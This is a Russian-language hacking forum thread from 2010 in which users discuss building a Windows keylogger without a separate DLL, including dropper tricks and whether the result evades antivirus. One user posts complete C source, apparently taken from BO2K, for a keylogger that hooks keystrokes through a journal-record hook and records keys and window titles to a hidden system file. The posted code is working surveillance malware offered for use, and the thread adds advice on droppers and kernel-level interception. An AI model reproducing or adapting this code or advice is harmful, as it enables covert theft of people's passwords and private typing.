Кейлогер без dll

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by winsock, 19 Sep 2010.

  1. winsock

    winsock New Member

    Joined:
    15 Aug 2010
    Messages:
    57
    Likes Received:
    2
    Reputations:
    0
    Возможно ? Без циклического опроса клавиатуры...

    Может быть можно как то хитро вживить dll в exe ?
     
  2. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,704
    Likes Received:
    1,224
    Reputations:
    455
    ну копируй себя как dll и в PE заголовке ставьте флаг что это DLL. А далее просто обрабатывать специальным образом данные на точке входа.
    т.е. банальынй дропер
     
  3. winsock

    winsock New Member

    Joined:
    15 Aug 2010
    Messages:
    57
    Likes Received:
    2
    Reputations:
    0
    Можно поподробнее
     
  4. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,704
    Likes Received:
    1,224
    Reputations:
    455
    а я и так сказал все подробности. код никто давать в руки не будет
     
  5. winsock

    winsock New Member

    Joined:
    15 Aug 2010
    Messages:
    57
    Likes Received:
    2
    Reputations:
    0
    Буду сам разбираться но ответьте хотя бы тогда на сл. вопросы.

    Данный способ позволить вызывать длл из самого экзешника ?Или что то типо "распоковки" ?

    Палится ли антивирусами ?
     
  6. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,704
    Likes Received:
    1,224
    Reputations:
    455
    1) можешь тупо написать DLL и запихнуть её в ресурсы, а потом куданить извлечь из ресурсов. кода буквально 10 строк.
    2) как я сказал просто копируешь себя с другим расширение (из exe в dll) и правишь PE заголовок. Кода штук 15-20 строк.
     
  7. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    уже не модно кейлоггеры хуками делать.
    немедленно пиши перехват прерываний клавиатуры в режиме ядра
     
  8. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,009
    Likes Received:
    1,115
    Reputations:
    327
    можно вот так. когдато рипнул из бо2к. только сейчас проверяю - на семерке не пашет, выдает отказ в доступе даже под рутадмином при вызове SetWindowsHookEx. на хп это дело сколько помню нормально работало.

    Code:
    #include <windows.h>
    #include <d3d9.h>
    
    #include "splice.h"
    #include "proctools.h"
    
    #pragma optimize("gsy", on) 
    //#pragma comment(linker, "/MERGE:.rdata=.data")
    //#pragma comment(linker,"/MERGE:.text=.data")
    //#pragma comment(linker,"/SECTION:.data,ERW")
    #pragma comment(linker, "/ENTRY:WinMain")
    
    #define ROOTPATH        "C:\\"
    #define LOGNAME            "kbkeys.txt"
    
    HHOOK    g_hLogHook;
    BOOL    g_bLogging;
    HWND    g_hLastFocus;
    
    LRESULT CALLBACK JournalLogProc(int code, WPARAM wParam, LPARAM lParam)
    {
        if(code<0) 
            return CallNextHookEx(g_hLogHook,code,wParam,lParam);
    
        HANDLE hCapFile;
        char s_log[256];
    
        lstrcpy(s_log,ROOTPATH);
        lstrcat(s_log,LOGNAME);
    
        hCapFile=CreateFile(s_log,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL);
        if(hCapFile==INVALID_HANDLE_VALUE) {
            return -1;
        }
        SetFilePointer(hCapFile,0,NULL,FILE_END);
    
        if(code==HC_ACTION) {
            EVENTMSG *pEvt=(EVENTMSG *)lParam;
            if(pEvt->message==WM_KEYDOWN) {
                DWORD dwCount,dwBytes;
                char svBuffer[256];
                int vKey,nScan;
    
                vKey=LOBYTE(pEvt->paramL);
                nScan=HIBYTE(pEvt->paramL);
                nScan<<=16;
    
                // Check to see if focus has changed
                HWND hFocus=GetActiveWindow();
                if(g_hLastFocus!=hFocus) {
                    char svTitle[256];
                    int nCount;
                    nCount=GetWindowText(hFocus,svTitle,256);
                    if(nCount>0) {
                        char svBuffer[512];
                        wsprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle);
                        WriteFile(hCapFile,svBuffer,lstrlen(svBuffer),&dwBytes,NULL);
                    }
                    g_hLastFocus=hFocus;
                }
    
                // Write out key
                dwCount=GetKeyNameText(nScan,svBuffer,256);    
                if(dwCount) {
                    if(vKey==VK_SPACE) {
                        svBuffer[0]=' ';
                        svBuffer[1]='\0';
                        dwCount=1;
                    }
                    if(dwCount==1) {
                        BYTE kbuf[256];
                        WORD ch;
                        int chcount;
    
                        GetKeyboardState(kbuf);
    
                        chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
                        if(chcount>0) WriteFile(hCapFile,&ch,chcount,&dwBytes,NULL);                
                    } else {
                        WriteFile(hCapFile,"[",1,&dwBytes,NULL);
                        WriteFile(hCapFile,svBuffer,dwCount,&dwBytes,NULL);
                        WriteFile(hCapFile,"]",1,&dwBytes,NULL);
                        if(vKey==VK_RETURN) WriteFile(hCapFile,"\r\n",2,&dwBytes,NULL);
                    }
                }            
            }
    
        }
        CloseHandle(hCapFile);
        return CallNextHookEx(g_hLogHook,code,wParam,lParam);
    }
    
    
    //////////////////////////////////////////////////////////////////////////
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
    {    
        MSG msg;
        BYTE keytbl[256];
        int i;
    
        char aaa[128];
    
        RegisterHotKey(0, 31337, MOD_CONTROL|MOD_ALT,VK_F5); // call notepad to open for view
        RegisterHotKey(0, 31338, MOD_CONTROL|MOD_ALT,VK_F6); // delete log file
        RegisterHotKey(0, 31339, MOD_CONTROL|MOD_ALT,VK_F7); // stop logging and disable hotkeys
    
    
        for(i=0;i<256;i++) keytbl[i]=0;
    
        g_hLastFocus=NULL;
        g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,GetModuleHandle(0),0);
    
        if(g_hLogHook==NULL) {
            wsprintf(aaa, "%d - error", GetLastError()); // 5 на семерке (отказано в доступе)
            MessageBox(0, aaa,0,0);
            return -1;
        }
    
        g_bLogging=TRUE;
    
        while(g_bLogging) {
            while(PeekMessage(&msg,NULL,0,0,PM_NOREMOVE)) {
                GetMessage(&msg,NULL,0,0);
                if(msg.message==WM_CANCELJOURNAL) {
    
                    SetKeyboardState(keytbl);
                    g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,GetModuleHandle(0),0);
    
                    if(g_hLogHook==NULL) {
                        return -1;
                    }
                } else if(msg.message == WM_HOTKEY){
                    if(msg.wParam == 31337){
    
                        char cmdline[256];
                        lstrcpy(cmdline, "notepad.exe ");
                        lstrcat(cmdline, ROOTPATH);
                        lstrcat(cmdline, LOGNAME);
                        WinExec(cmdline, SW_SHOW);
    
                    }else if(msg.wParam == 31338){
                        char file[256];
                        lstrcpy(file, ROOTPATH);
                        lstrcat(file, LOGNAME);
                        DeleteFile(file);
                    }else if(msg.wParam == 31339){
                        g_bLogging = FALSE;
                    }
    
                }
                else {
                    DispatchMessage(&msg);
                }
            }
            Sleep(0);
        }
    
        UnhookWindowsHookEx(g_hLogHook);
        return 0;
        
    }
    
    
     
Loading...